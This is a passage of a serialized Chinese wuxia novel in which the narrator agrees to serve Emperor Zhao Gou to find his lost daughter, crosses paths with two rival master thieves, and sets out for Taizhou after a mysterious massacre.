柳无风说:“如今朝廷斗争激烈,江湖势力各有所依附,若你能以丐帮归顺皇上,他一定不会难为你。” 归顺? 我忍不住发笑:“难道当年武林盟的教训还不够深刻吗?” 柳无风缓缓闭目,他脸上露出难得一见的无奈。他说:“你不懂皇上。皇上有作为帝王的无奈。” 我说:“我不管他有什么无奈。他利用我,害了江湖。” 柳无风起身离开,走到门口,他忽然顿足,背身对我说:“你若想找到你女儿,回到皇上那里,是最明智的选择。” 说罢,柳无风离开了。 2. 是夜。 天空下起了如丝一般的小雨,细雨朦胧,密密麻麻。让黑夜中的娄琴客栈,犹如镜花水月一般的不真切。 可这一切却又很真实。我就站在当年我一直居住过的那个房间里,站在窗边凝视着雨中的景色。潮湿清凉的风,带着细蒙蒙的雨吹在我的脸上。我忽然觉得很疲惫,真想就此睡过去,一睁眼,便是六年前的场景,李小谦疯疯癫癫地游荡在房间里,对我说:“我回不去了,能给我妈打个电话吗?” “在想什么?”娄琴推开我半掩的房门,走到我身边。她的声音很柔软,永远都能给我一种回家的感觉。 我问她:“你说,小月会怪我吗?” 娄琴怔了怔,微笑着说:“不会的。” “可是……”我说,“如果当初我不去救陈伯洋,或许这一切都不会发生。” 娄琴说:“善良没有错,错的是那些心存恶念的人。” 我说:“可是善良的人也会做错事。” “只要心存善念,即使结果并不完美,起码自己问心无愧。”娄琴目光投向了很远很远的地方,她说,“曾经有一个人告诉我,这世间的事没有一件是能为人所左右的,但自己的心却可以。” 她的话意味深长。我并不能部理解,但我却记住了问心无愧。 我说:“我想去见他。” “见谁?”娄琴回头看着我。 我感觉娄琴已经猜到了我说的他是谁。只是,她不愿承认。我说:“赵构。” 娄琴缓缓闭上眼睛,说:“你想好了?” 我说:“我说,他是皇上,他拥有这世间最强大的力量。他可以帮我找到纾瑶。” 娄琴点了点头,说:“既然你已经决定了,那就按着自己的决定去做吧。我会帮你。” 我问她:“你为什么对我这么好?” 娄琴淡淡一笑,说:“因为,我欠一个人一份情。一份永远 也还不起的情。” 娄琴说,你要记住,皇上并不一定拥有这世间最强大的力量,但却有这世间最深沉的无奈。这件事,很重要。 娄琴所说的很重要的事,我并不能理解,那时候我的没有经历过,也没有体会过。其实,这世上的所有道理都是如此,即便是它们被人描述得如何深刻,如何入木三分,那些没有亲身经历的人,始终都无法深刻的体会。 但真的深切体会到的时候,却又不知那是怎么样的一种悔不该当初。 3. 次日。我带着余十三来到了柳无风的府上。 柳无风派了一个下人出门,将我引到一个不太大的院子。院子中摆放着一个箭靶,柳无风正拉着强弓,使劲地瞄着靶心。 余十三打了一个喷嚏,下人慌忙将他的嘴捂住,小声地说:“大人正在练箭,不要打扰。” 我和余十三便静静地站在一旁等待。半个时辰过去了,柳无风依旧在瞄,那支弦上之箭始终没有发出。 我失去了耐心,对着柳无风喊:“你到底还射不射?” 柳无风眉头一皱,“嗖”的一声,利箭拉着尖锐的哨响,擦着箭靶飞了过去。 “可恶!”柳无风将弓扔在地上,对我吼道,“本来我可以射中,都是你在一旁胡乱说话,扰乱了我的心神!” 我无言以对。只好从怀里掏出五百两银票,塞到柳无风手中。这是我当年欠他的银子,如今也到了应该还他的时候了。 柳无风数了数,颇为满意,说:“这还差不多。就算是你赔偿我一箭不中的损失。” 我说:“不是。这是……” 柳无风一摆手,说:“好了,好了。我不与你计较了,你不必再说什么道歉的酸麻话。” “不。这其实是……”我极力想要解释。 柳无风却将银票揣入怀中,问:“你欠我的那五百两,什么时候还我?” 我靠!最贪不过柳无风。 我心中暗骂。强忍着内心的不满,又掏出了五百两银票,极不情愿地递到柳无风手中。 柳无风接过银票,露出了罕见的笑容,一面数着,一面说:“看在多年朋友的份上,利息就不与你计算了。” 这时,余十三从地上摸起一颗石子,对着三十米在的靶心微微一瞄,奋力一掷。一道黑影略过,瞬息之后,箭靶的红心变成了一个与石子相差无几的洞。 “箭法不准,就不要赖别人。”余十三冷冷地说着。 柳无风脸色铁青,他重重哼了一声,对我说:“今日,你是来向我示威的吗?” 我说:“不是。我想让你带我去见皇上。” 柳无风眉头一皱,变得严肃:“你想好了?” 我点了点头,说:“想好了。” 柳无风也点了点头,伸出一只手,说:“引路费一百两。” 第一百九十一章 盗圣 ()绍兴二十年七月。 空气异常燥热,让人心绪难安。越是在这样的时候,越是有事情要发生。 柳无风已经将我回到临安的事情告诉了赵构,也向他转达了我投诚的意愿。 然而,消息如石沉大海,我始终没有得到赵构的回音。娄琴说,赵构不会那么容易见我,当年我悖逆于他,抗旨不尊,以他的性格,即便是要见我,总也先要给我一个下马威。 娄琴是很了解赵构的。我深信这一点。虽然,我不知道他们二人之间到底发生了什么,但我可以感觉到,赵构始终是娄琴心里挂念着,不愿放下的那个人。 既然不愿放下,为何又要分开? 我问娄琴,这样是不是很痛苦? 娄琴说,分开并不痛苦,痛苦的是想要在一起却觉得很难。 我等赵构的心情几乎是焦灼。我将他视为在这个世上唯一可以帮我找到纾瑶的人。我也告诉余十三,他一定可以帮他找到余青儿。 余十三的眼睛里充满了期待。他也如我一样,如垂死边缘的饥民渴望粮食一般地渴望着赵构。 一日。娄琴的客栈里缓步迈进了两个男人。二人面色阴冷,半截隐于斗笠之下,手中各持一柄短刀,迈进门时步履沉重,锵然有力。看得出,这是两个内力精深的高手。 对于这样的高手,娄琴向来十分客气。并不是因为她害怕什么,只是这个江湖里但凡有些本领的人,脾气大都不好,娄琴喜好安宁,不愿招惹麻烦。她笑脸相迎,引他二人在靠窗处落座,问:“二位客官想吃些什么?” 两人相对而坐,也不摘下斗笠,不知能否看见彼此。但言语上确实一番让人深感无聊的客套。 “李师兄先请。” “唉,刘师弟先来。” 二人左谦右让,一下便是几个回合,娄琴怔怔地站在一旁,脸上渐渐露出厌恶的神色。终于,李师兄不再谦让,说:“好,那愚兄便不客气了。”说完,他侧身面向娄琴,略有思忖,道:“来个东坡肉……”一番絮叨以后,竟然点了十几道菜,看得我们几人目瞪口呆。 娄琴记完最后一道,小心询问:“客官点了这么多吃食,可用得尽吗?” “你尽管上来,其余的休要多问。”李师兄很不耐烦。 厨房里响起了老张欢愉的忙碌声。有客人,他就有活儿干,有活儿干他就能赚钱。这就是寻常人的乐趣,很平淡,却也很珍贵。 饭菜仍在锅中,两人便已喝了几盏茶水。忽然,李师兄说:“师弟,你还没与我说完,这盗王李霄汉和盗霸陈元彪的比试,结果到底如何啊?” 盗王,盗霸。 我与小月在江湖游历的几年里,也曾听说过,李霄汉和陈元彪二人。 两人皆出自盗门,虽不是一个帮派,却是干着同样的勾当。李霄汉出自江西神偷门,自称盗王,常言天下无所不盗,唯情不偷尔。 陈元彪出自广南盗圣帮,人称盗霸。他的称号是人们送的,不是自己封的。因此,我一直觉得陈 元彪的本领大概比李霄汉要强上一些。陈元彪之所以被人称为盗霸,是因为他为人十分霸道,几乎是目中无人。他以一手含沙射影和翻墙猴的功夫,偷遍天下,无所不能。他也常对人说:“世间只有不存在的东西,没有我偷不到的东西。” 此二人虽然相隔甚远,但同行之间难免有所竞争。尤其是二人在江湖上成名之后,对彼此更有了不屑和不满。 正是那个姓李的师兄问到这里,刘师弟双手一拍,扬起就是一阵比划,接着便讲述了一段有关于江湖盗贼之间的王霸之争。 话说,那是绍兴十九年冬月的事。一个寒冷的深夜,大江(长江)之上,一艘商船急匆匆地抵达江宁府。 江宁口岸早已兵甲森然,诸多士兵严阵以待。商船靠岸,十几人抬着数只木箱陆续登船。他们行动很快,因为其中的一个木箱子被看护的十分严密。其他木箱皆是两人一抬,而那个木箱确实两人抬另有四人从旁看护。那个木箱子里放着的,是时任监察御史魏师逊准备送个当朝宰相秦桧的寿礼。 没有人知道那里面放的是什么。但从所有人的紧张程度来看,那一定是一件极为珍贵的宝物。 周密保护,趁夜行船。所有的人都以为万无一失的时候,却有两双眼睛在黑夜中同时盯上了那艘船,更确切的应当是那个被人严密看护起来的木箱子。 这两双眼睛,并非是偶然碰到一起的。 陈元彪和李霄汉二人曾在青峰立下赌约,二人决定一决高下,胜者即名为盗圣。 两人立下赌约之时,江湖上很多人都有所见证,其中不乏括苍、青云等名门大派的弟子。 二人立下赌约之后,一直寻觅作案目标。途径江宁府时,正巧看到这番场景,因而决定以秦桧的寿礼为目标,在商船靠岸之前,将木箱子里的宝物偷到手。 决定之后,“王霸”二人立贴为证,签字画押,一式两份,双方各执一份,随即展开了盗窃行动。 没有人知道,他们两个人是怎么上的船,又是如何躲过了船上士兵严密的监护。总之,这个伪装好的商船又大江入运河,又运河入钱塘,在临安府靠岸的时候。士兵们抬起箱子要走,却突然发现箱子轻了许多,慌忙打开箱子查看,却见木箱里空空荡荡,其中宝物不翼而飞。 就在船上一片混乱,所有人忙着搜查盗匪之时,岸边上匆匆闪过两个人影。两人一前一后,直接向着不远处的人群奔去。 江湖上的人得到消息,早已在钱塘口岸不远处的宽巷中等候,就等着见证盗圣之名花落谁家。 当二人走近,好奇心盛的江湖人士将他二人团团围住,迫不及待地询问结果,却见两人眉头紧锁,互看一眼,纷纷露出不悦,不屑,不满……总之情感十分复杂。 众人更加好奇,一再追问。二人这才相继从各自背囊之中掏出一物,竟是都是一件做工精美极致的金丝翡翠兽,两只兽一个向左回头,一个向右回头,明白就是一对儿。 所有人为这对价值连城的宝物惊叹的同时,又不觉困惑。到底这盗圣之名是归李霄 汉还是陈元彪呢? 结果当然无从评判。因为,根据两人的描述,二人同时下手,几乎又是在同时各自拿走了一只玉兽。 江湖人很失望。他们比不在乎二人盗窃的过程是如何的紧张刺激,又是如何的精彩纷呈,他们只在乎输赢,只在乎结果。他们觉得,平局辜负了他们心中最殷切的期待。 有人开始起哄,再来一场! 所有人纷纷相应,吵嚷着让李霄汉和陈元彪重新比过。而陈李二人,对于这样的结果也是十分难以接受。他们二人在众人的怂恿下,当即决定,就地比试! “就地比试?!”李师兄按捺不住,张口问道,“比试的内容是什么?” 刘师弟道:“李师兄不要急躁,且听我慢慢说来!”他抿了一口茶水,继续说道:“当时,我就在现场。二人当即决定比试,在众人的见证之下一决雌雄。这次他们要偷的目标是他们彼此。两人互相偷对方身上的一件贴身物件,在场的英雄好汉为评判。” “到底是要偷什么样的物件?”李师兄问道。 刘师弟答:“二人根本没有明说,只说是随身物品。李霄汉和陈元彪相对而立,相隔十尺,众人围观于四周。当时的气氛是异常的紧张,所有人几乎同时屏住了呼吸。忽然,二人身影同时晃动,电光火石之虞二人竟然交换了站位。谁也没有看清楚,那一瞬之间到底是发生了什么。只是那一瞬之后,李霄汉毫发无损地站在那里,而陈元彪**上身,下身也只剩下了一条底.裤而已。” “精彩!”李师兄拍手叫绝,“这盗王李霄汉果然不是浪得虚名!盗圣之名真是当之无愧!” “哎!”怎料到刘师弟一声长叹,道,“当时,我们也是这么以为的。” “哦?”李师兄疑惑道,“莫非……还有变化?” 刘师弟点了点头,说:“就在众人准备为李霄汉荣获盗圣之名喝彩之时,却见那陈元彪不慌不忙,展开手掌,却是一条洁白如雪的底.裤!” 我倒吸一口凉气。李师兄也激动得难以自持,几乎是站了起来,惊道:“怎么,怎么会这样?!” 是啊,怎么会这样呢? 陷入回忆中的刘师弟沉默了许久,他又叹一声,缓缓说道:“正如陈元彪所说的那样,这世间只有不存在的东西,没有他偷不到的东西。当时的结果尤为震撼,令在场之人无不瞠目结舌。李霄汉纵然手段奇绝,一瞬间偷的陈元彪只剩下一条底.裤。而陈元彪更是让人震撼,他竟然能在李霄汉外衣丝毫无损的情况下,只偷下对手的底.裤!” 无论是李师兄还是刘师弟,他们只不过是我人生路上一个匆匆的过客,就像是娄琴客栈里来了又走的客官,没有给我留下太过深刻的印象。我也不知道他们是何门何派,为人是善是恶,他们二人之所以被我记住,完是因为他们所说的有关于李霄汉与陈元彪的叙述。 尤其是陈元彪,这个名字被我牢牢地记在了心里。那时候,我隐约产生了一种很强烈的冲动——我想要认识一下这个可以在瞬息之间偷走别人底.裤的人。 第一百九十二章 主事 1 三日后,我接到了柳无风的传信——赵构在武林盟等我。 武林盟? 或者说是很久很久以前的禅慧寺。那个地方伴随了我太多太多的回忆。没有多少欢乐,其中却有着无数的痛苦。 其实,我是不愿意回到那个地方的。 即使我已经回到了临安府数日之久,寄住在娄琴的客栈中,也从未有一刻想要回到那个地方。然而,赵构却偏偏选择了那样一个地方与我相见。 我隐约感觉,他的选择似有深意。但无论他有什么打算,这件事是我所不能决定的。我可以选择去或者不去,却不能选择去哪里。 去往武林盟的路上,余十三问我“武林盟是什么地方?” 我想了想,对他说“一个我曾经住过的地方。”仅此而已。 即便是已经时隔四年之久,即便是武林盟在这个江湖上早已经不复存在。但武林盟的金字招牌依旧牢固地挂在那里,仿佛是所有的都变了,而这个地方从未曾改变过一样。 柳无风已在门前等候。他背上斜挎大刀,伴随着他那张,万年不变表情的脸,无论在什么时候见到都显得滑稽可笑。见我和余十三走来,他并没有什么动作,依旧是如门神一般地伫立在门口。 “你来了?”柳无风冷漠地询问。 “是。”我说,“他呢?” 柳无风眼角微微一抽搐,说“圣上在堂内等你,你随我来吧。” 我正要带着余十三走进这个已经阔别已久的宅院,想要让他亲眼目睹一下我当年入梦幻一般沉迷的地方。刚迈出一步,却被一只铁一般的胳膊拦了下来。 “解剑!”柳无风重重说道。 我说“我的剑从来没有离开过我。” 柳无风冷哼一声,不屑地说“吃饭也是?如厕也是?搂着你婆娘睡觉的时候也不离手吗?” 他的话让我愤怒,却无言以对。因为他说的并没有错。我将剑交到余十三手中,对他说“你在这里等我吧。” 余十三说“别忘了我妹妹。” 我冲他微微一笑,说“放心吧。我不会忘记。” 2 武林盟正堂。 还是禅慧寺时,这里曾经供奉着佛祖的金身石像。后来,这里改做武林盟,我曾无数次与李小谦在这里商议如何应对这个江湖上迭起的风云。 但此时,这个厅堂里,只有一个人。 他背身向门,看着墙上气势磅礴的山河画卷,默然无声。 “启禀皇上。姬旦丙带到。”柳无风郑重行礼。赵构并没有转身,而是抬手轻轻摆了摆说“你先下去吧。” 大致有半个时辰的沉默。我便如是等待堂审的犯人一般,等待着眼前之人的第一句发问。我劝导自己,我并不怕他,只是有求于他,不得已而为之。 “她还好吗?”赵构的第一句话,竟然与我无关。 我说“你是说娄姐吗?” 赵构的背影微微一颤,说“否则,还会有别人吗?” 我说“她很好。我觉得她现在的生活很宁静。” “哈!”赵构忽然笑了一声,他转过身来,目光如凌厉的刀子刺向我的胸口,“宁静?就是为了这两个字,你们都要背叛朕!” 我没有回答。我只知道自己做过什么,但却不知道娄琴与赵构之间到底发生了什么。 赵构说“天目山的事是你做的?” 我说“是我。” “你好大的胆子!”赵构忽然怒声如雷,在堂室内回荡,他吼道,“你可知那天目山是什么样的地方,你竟然纠集数千余众在那里聚集闹事!” 我说“我没有闹事。” 赵构说“即便是你什么也没做,胆敢去那个地方,就是闹事!” 我说“我的女儿丢了。我只不过想通过丐帮的人找我的女儿。” “丐帮?”赵构嘴角略过一丝笑意,他说,“朕还要谢谢你。若不是此次你纠集丐帮弟子于天目山,朕倒还不知道这个江湖上竟然有一个丐帮,而你还是丐帮的帮主。” 我苦笑一声,说“我自己差点都忘了。” 赵构说“你的事,无风都已经向朕禀报了。你这次回来,朕可以既往不咎,朕也可以发动各州府衙门帮你寻找女儿。” 他的话瞬间点燃了我心中已几乎熄灭的希望之火,我激动难耐,慌忙问道“真的?” “君无戏言!”赵构掷地有声地回应,但他目光忽然聚集,紧紧地盯着我,说,“但是朕有条件!” “什么条件?”我早有心理准备。 赵构说“如今江湖上乱象横生,更有奸人在其中为非作歹,严重扰乱了朝廷的治安。朕思前想后,认为江湖不可一日不盟,武林不可一日无主” 难道他还要我做武林盟主?! “你莫要多想。”赵构说,“朕不会再叫你做什么武林盟主。如今局势不同,而你更不是那块材料。” 我心中稍安,问“那你要我做什么?” 赵构微微一笑,说“朕想要在朝廷中成立一个江湖事物协理司,朕想让你做该司的主事,你的任务只有一个,那便是协调各大门派,尽快选出一个忠诚可靠,精明能干的新武林盟主。” 江湖事务协理司 主事?赵构竟想让我如朝为官吗?我心里莫名有一丝向往。 我问“江湖事务协理司主事是几品官?” “五品!”赵构说。 我有些激动了又不敢相信,问“五品官?” 赵构一怔,摇了摇头,说“没有品!并且朕也不会给你任何经费。” “我靠!”我忍不住骂了一句。 “你……靠?靠什么?”赵构疑惑地看着我。 我说“没什么。” 赵构表情重归平淡,说“朕不管你靠什么。若想让朕帮你,从今日起你就要替朕做事,完成朕交待给你的任务,天涯海角任你去哪里朕都不再管。” 我说“其实,你想要一个武林盟主很容易。你是皇上,让谁做武林盟主都是你一声令下……” “并不像你想的那么简单。”赵构打断我,说,“朕曾经说过,江湖是江湖人的江湖。武林盟主还是让江湖上的人自己去选吧,朕不过是想促成这件事,不是想干预,你明白吗?” 我似懂非懂,点了点头。赵构说“你还有什么要跟朕说的吗?” 我说“还有一件事。” 赵构问“何事?” 我说“除了我的女儿,我还要找一个叫余青儿的小姑娘。” “余青儿?”赵构眉头一皱,问,“她是你什么人?” 我说“她是我徒弟的妹妹。数月前被黑蛇帮掳走,至今音信全无。” “你竟然还收了徒弟。”赵构不屑地一笑,他说,“朕聪明一世,却看错了……大约有一百多人,你便是其中一个!” 我真的很想问问他到底聪明在哪里?但我没有说,因为这种时候,的确没有必要得罪一个你有所求的人。 “好吧。”赵构说,“这不是什么难事,朕准了。” 我告别赵构,说“那我便回去了。” “不必了。”赵构说,“从现在起,这里便是江湖事务协理司,你即可上任,娄琴客栈便不要再去了。” “可是……”我想去和娄琴说明此事,但却发现赵构目光阴冷地看着,让我不禁心头一颤。只听他说“今日之事,你不可以对任何人说起,尤其是娄琴。” “为什么?”我忍不住问。赵构却没有回答,阔步走过我身旁,向门外走去。 “无风,我们走。”门外响起赵构朗朗的声音,他们二人一前一后,向着武林盟……不,应当是江湖事务协理司大门走去。 很快,余十三跑了进来。他怀里抱着青光血芒两剑,焦急地问我“怎么样了?” 我说“他答应了,发动各地州府帮我们找人。” “包括青儿?”余十三有些紧张。 我说“当然。” 他脸上难得露出喜悦,甚至有些感激,他将两把剑送还到我手上,对我郑重地叩头说“这份恩情,我一定会还。” 我并没有想要他还我什么恩情。但我知道他的性格,他这样说,我也没有说拒绝的话。我只是将他从地上扶了起来说“从今以后,我们就要从这里住下了。” 余十三扫量了四周,有些不敢置信,问“在,在这里吗?” 我说“是。”我看着眼前的少年。这样偌大的一间宅院里只剩下我们两人,那一刻,我感觉与他尤为亲近,我问他“如果以后的路会很艰难,你还会不会和我一起走?” 余十三怔怔地看着我,没有什么表情,只是说“你的恩情,我一定会还。” (本章完) (教育123文学网) 第一百九十三章 阴阳 1. 年幼时,八矛师父曾经对我说过,人身体之中有一阴一阳两种气息,这两股气息相互制衡又相互融合。 阳盛则阴退,阴极则阳衰。这个道理我一直都不能理解。八矛师父便带我进了一个阴冷的山洞。他问我:“冷不冷?” 我说:“不冷。” 八矛师父很诧异,他问:“你竟然不冷?” 我敞开外衣,露出棉袄,说:“我穿得很厚!” 八矛师父很生气,他出手将我身上的衣服脱了下来,又问:“冷不冷?” 我说:“冷!” 八矛师父顿时高兴起来,他说:“这便是阴极。阴极则阳衰。” 我说:“我明白了,阴极就是冷。” 八矛师父点燃火把,凑到我跟前,问:“热不热?” 我摇头说:“不热。” 八矛师父又开始诧异,他问:“为何不热?” 我说:“因为我没穿衣服。” 所以……直到后来,我都没有明白八矛师父所说的阴阳理论到底是指的什么。在我的理解中,只感觉或阴或阳和穿不穿衣服有着密不可分的关系。 但八矛师父对我说,阴阳二气对于人非常重要。他说,内功之道无外乎练气,练的便是阴阳二气。气凝于丹田,行走于血脉,噫呼出即能成风。 他说:“你太小了,还不能练习这些高深的武学。待你及冠之后,我再慢慢传授于你。” 我说:“那得等我到了二十岁。太久了。” 八矛师父说:“不久,不久。须臾而已。” 我说:“学武功太苦了,有没有什么不用练就可以拥有强大内功的方法?” 八矛师父目光投向远方,眸中闪烁着几丝痛苦,他说:“有。但要别人付出代价。” 2. 八矛师父始终没有告诉我,那是一种怎么样的代价。那个时候,对于我而言,无论什么武功都比不过一张普通的面饼。吃饱肚子才是最重要的事。 “吃饭了。”余十三将一沓面饼放在桌上,他说,“你这个地方什么都没有,这是我自己带的干粮。” 我一直沉浸在白日里与赵构谈话的场景之中,心绪烦乱,便对余十三说:“你自己 吃吧。” 忽然,我感觉身后的余十三有所动作,隐约间有一股风力向我袭来。我匆忙侧身,却见一张面饼从我身侧飞了过去。 我随即一掌将面饼捞回,只听见余十三说:“吃饭。”便无他言。 我摇头苦笑,将面饼攥在手中。被火烤过的面饼还有些烫手,我将它凑到嘴边,闻到一股诱人的焦香。 汀兰古穴。 突然间,我莫名想到了这个地方。想到那个曾教给我十一式剑招的怪人。他曾吃着这样被烤过的面饼,激动不已。 如果他还活着的话,不知道这个时候,他会不会走出汀兰古穴,看看如今的江湖还是不是他当年所经历的模样。 余十三正津津有味地吃着。门外一阵“哗啦啦”的声音,听着像是院门上悬着铁链出的声响。 “有人来了。”余十三霍地站起来,神情紧张。 随即,一阵急促的脚步声“踏踏”而来。我站在门口向外张望,虽然黑夜中看不清来人的长相,但从他身上斜背的那柄大刀来看,应当是柳无风来了。 “出事了。”柳无风还未走进屋子便冲我喊道。 我问:“怎么?出什么事了?” 柳无风几步跨进屋门,先看了余十三一眼,说:“小子。你先出去。” 余十三原本是站在桌前,但柳无风说完之后,他又缓缓地坐了下去,不紧不慢地拿起面饼咬了一口。 “好小子。我让你出去你竟然不听?!”柳无风瞪着眼睛,余十三却仿佛是没有听到一般。柳无风冷哼一声,拉起我的胳膊,说:“走,我们出去说。” “不用。”我转身对着余十三说,“你去别的屋子里吃吧。” 余十三点了点头,拿起面饼向门外走去,与柳无风擦肩而过之时,听见柳无风一声冷哼,余十三的表情也无所变化。 我问柳无风:“到底怎么了?” 柳无风说:“接台州府奏报,数日前台州多处村镇遭到不明屠杀,疑是江湖人所为。” 江湖人?我问:“是何人?” 柳无风说:“若是知道,皇上便不会遣我来找你。据台州府奏报,几处村镇两千余户人几乎在一夜之间被屠戮殆尽,死者皆浑身僵硬,面带白霜,仿佛是被冻死一般,你可知 这是何门何派所为?” 浑身僵硬,面带白霜…… 我知道,我当然知道。因为四年前,我和夏尔马初到6家山庄之时,就曾亲眼目睹了这样一个场景。 那红光一闪,披头散的6石犹如恶鬼一般地出现。那刺骨的阴寒,让周围的一切都冻结了一层白霜。 “什么呆,你到底知是不知?”柳无风喝道。 摩诃钵特摩!摩诃钵特摩! 纾瑶! 我一把推开柳无风,快步向门外冲去。摩诃钵特摩咒出现了。它在藏龙涧中与纾瑶一同消失,找到了盗窃秘籍的人,就一定可以找到纾瑶。 柳无风在我身后大声喝问,你去哪里?你去哪里?!我浑不与他理会。我感觉这个时候,与任何无意义的人多说一句,都是在浪费我宝贵的时间,甚至是在消耗纾瑶的生命。 那一刻,我的心里,只有纾瑶。 “十三!”我大声喊着,“拿上剑跟我走!” 余十三正在不远处的台阶上吃着面饼,听我喊他,先是一怔,而后问:“去哪里?” “不要废话,走!”我第一次用这种口吻对余十三讲话,他竟然真的有些被吓住了,转身冲进屋子,稍时提着两柄剑冲了出来。 “站住!” 柳无风腾空跃到我面前,将我去路挡住,大声喝问:“你到底要去做什么?你是不是知道那是何人所为?” 我说:“我不知道。但是我很快就会知道了。” 我和余十三一左一右绕过柳无风,正欲出门,却听见身后“锵啷”一声响,隐隐约约有刀风袭来。 “不说清楚休想离开!”柳无风大声喝道。 真是个麻烦的人! 我正要转身跟他说个清楚,却见余十三瞬息一动,挥剑一斩。“咔”的一声,柳无风的青龙偃月小刀再次断成两截。 柳无风眼角抽动,一张脸憋成了酱紫色,他说:“不说便罢,为何毁我兵器!”他弯腰将短刀捡起,托着几经修复的兵器,神情恸然。 “这一次,只怕它再也不能修复了!”柳无风神情忧伤。 我无心安慰,只得向他抱了抱拳,对余十三轻声说了句:“我们走!” 第一百九十四章 神偷 ()1. 我一心只想着纾瑶,却丝毫没有考虑过,台州一行自己将要面对什么。 摩诃钵特摩咒。无论是什么人盗走了秘籍,这种至阴至邪的武功,一旦炼成又岂能是我所能对付的?! 但没有办法。纾瑶的消息充斥了我的头脑,那时候,我心里再也无法容进其他的任何事情。 临近台州时。连夜奔走已至人困马乏。我见余十三面上倦色越发浓重,心有不忍,便勒马与他在路旁的茶铺休息。 “客官有何吩咐?”聪明伶俐的店伙计见我招手立刻跑到了我跟前。 我说:“上写简单的吃食便好,要快!” 店伙计点头答应,正要转身,只听见余十三低声问道:“此地离台州还有多远?” “台州?!”店伙计脸上忽然惊现恐惧之色,他盯着余十三,问,“客官要去台州?” “不错。”我说。 “去不得,去不得!”店伙计连连摆手。 我问他:“为何去不得?” 他左右顾看,似乎是十分小心,小声对我说:“不瞒客官,如今这台州城的百姓,但凡是还能活动的大都往外走,却不见往里去的。” “这是为何?”我不解。 店伙计更加小心,声音低得几乎附耳不闻,他说:“因为……那里闹鬼!” “闹鬼?!”我惊叫道。 店伙计脸色突变,十分惊慌,连忙做了噤声的动作。他眼睛在眶中左右一转,似乎是在查看周围有没有人看他。然后,他又异常小心地对我们说:“客官,听小的一言,这台州城可是万万去不得啊!” 我和余十三对望一眼,在这种“闹鬼”的异闻下,我看不出余十三有丝毫的波澜。他总是能够有这样超脱寻常年纪的淡然。 “鬼是长什么样子?”余十三问,“你见过?” 店伙计答:“我自然是没有见过的。不过,我听从台州城里逃出来的人说,那鬼长了一对红眼睛,披头散发,浑身透彻阴寒,这大热的天气只要是靠近他的人,都觉得发冷,就好像要冻僵了一般,十分可怖。” 一定是摩诃钵特摩咒。听了店伙计的描述,我更加确定,这一定是有人练了摩诃钵特摩咒的结果。 这个人会是谁? 正思索着,我听到余十三不屑地说了一句:“不过是有人装神弄鬼。” 店伙计惊讶地看着余十三,上下打量一番,说:“你小小年纪,不知深浅,你可知道那恶鬼在台州城里害死了多少人?据说有几个村子,上千条人命,可是不得了。” “哎呦!” 突然,店伙计一声惨叫,只听得他身后一通叫骂:“你个臭小子,不好好招呼客人,净在这里胡言乱语,当心我揪下你的耳朵。” 一个身材臃肿的中年妇人揪住店估计的耳朵,满脸怒色。店伙计喏喏地喊了几声求饶的话,慌忙跑来了。 “客官,你不要听我这侄儿胡言乱语。”妇人对我笑道,“不过,这台州城里近来的确有些不肃静,客家若无要紧的事,最好还是不要进城的好。” 我笑着点了点头,说:“多谢提醒。” “哼!” 这时,角落里传来一声冷哼。我循声看去,只见是一个蜡黄脸一字眉的汉子端坐在角落里,手中捻着茶盏,满脸的不屑。 “你哼什么?”坐在一字眉汉子邻桌的男子与他摆着同样的动作,但他面色白皙清秀,远比一字眉汉子俊朗许多。他冷嘲道: “人家说话,又不关你什么事。” 一字眉汉子瞥了俊朗汉子一眼,说:“老子近来感染风寒,气道不畅,哼一下不过是要擤些鼻涕。怎地?这也要你管?” “哦?”俊朗汉子笑道,“感染风寒?可是因为夜间忘了穿底.裤所致?” “嘭!” 一字眉勃然大怒,将茶盏拍在桌面上,登时粉碎,他豁然起身对着俊朗汉子大声骂道:“无耻小人你休要嚣张!宽巷一事,我还没有与你算账!” “算账?”俊朗汉子哈哈大笑,说,“只怕这帐你也不敢与我算。难道你要对天下英雄说你李霄汉从来不穿底.裤吗?” 李霄汉?! 我心头一震,万万没有想到,眼前这个样貌丑陋的黄脸汉子竟然就是有盗王之称的李霄汉!那另一个人便是…… “陈元彪!”李霄汉的脸由黄变紫,更加难看,他嚷道,“你莫要猖狂!当日你胜之不武,敢不敢与我再行比过?” “凭什么?”陈元彪不紧不慢,笑道,“盗圣之名已如我囊中,我为何要再和你比试?” “你莫非是怕了不成?”李霄汉有意激将。 陈元彪不为所动,说:“随你怎么说去吧。总之,我不会与手下败将一般见识!” “我何曾败给了你!”李霄汉怒不可遏,“那日谁胜谁负你自己心里最是清楚!” “我清不清楚无所谓。”陈元彪说,“只要是那日在场见证的英雄好汉们清楚就好了。” “你,你……卑鄙无耻,奸诈小人,胜之不武……”李霄汉喋喋不休地骂着。 陈元彪眉头一皱,忽地身影一动,只见一道灰影绕过李霄汉,在半米之外停了下来。 陈元彪转身,举起手上的一个钱袋,说:“莫要以为我比不过你,我只不过是不屑……” 话说到一半,陈元彪却再也说不下去了,他死死地盯着李霄汉。李霄汉的手上正端着一个锦帕,对着陈元彪得意地笑。 “你,你什么时候……”陈元彪摸着自己的胸口。他沉吟了片刻,随即哈哈大笑道,“好一招信手拈来,不过这也没有任何意义,因为整个江湖都知道,我才是盗圣!” 说话间,陈元彪身子一转,几个跟头翻出数丈,很快便已经消失了,只留下一串朗朗的笑声。 2. 台州城外,一间小小的茶铺,竟然偶遇了陈元彪和李霄汉二人,一切皆是机缘巧合。 陈元彪走后。李霄汉似乎更加愤懑,他坐在桌前,大口喘着粗气,手掌一起一落,桌面上烙下一道深深的掌印。 “拿酒来!” 李霄汉挥手喊道。人在郁闷的时候,最想做两件事,一个是喝酒,另一个便是找人倾诉。最好,两件事可以同时去做。 李霄汉自然是无人倾诉。他把目光投向了我,喊道:“两位兄弟,江湖偶遇也是缘分,可否赏光与我同饮两杯?” 余十三说:“我不会喝酒。” 我说:“我不喝酒。” 李霄汉惨遭拒绝,脸色更加难堪,他嚷道:“你可知我李霄汉是什么人,我邀你饮酒是给了你们天大的面子。你们休要不知道深浅,得罪了我,当心你们钱财不保!” 余十三说:“你敢偷,我就敢杀了你!” 李霄汉神情愕然。我想,若这句话是从我嘴里说出来,或许他只会愤怒,更加愤怒。但这话却是从一个十四五岁的少年嘴里说出来,李霄汉应当惊讶,十分的惊讶。 我拍了拍 余十三的肩膀,叫他不要冲动,自己起身走到了李霄汉的面前。我说:“我有很重要的事要去台州城,所以不能陪你喝酒。” 李霄汉竟然斟了两碗酒,一碗推到我的面前,说:“老子今日心情不爽,偏要你喝又如何?” 我没有理他。因为,跟一个不讲道理的人讲道理,是没有意义的。 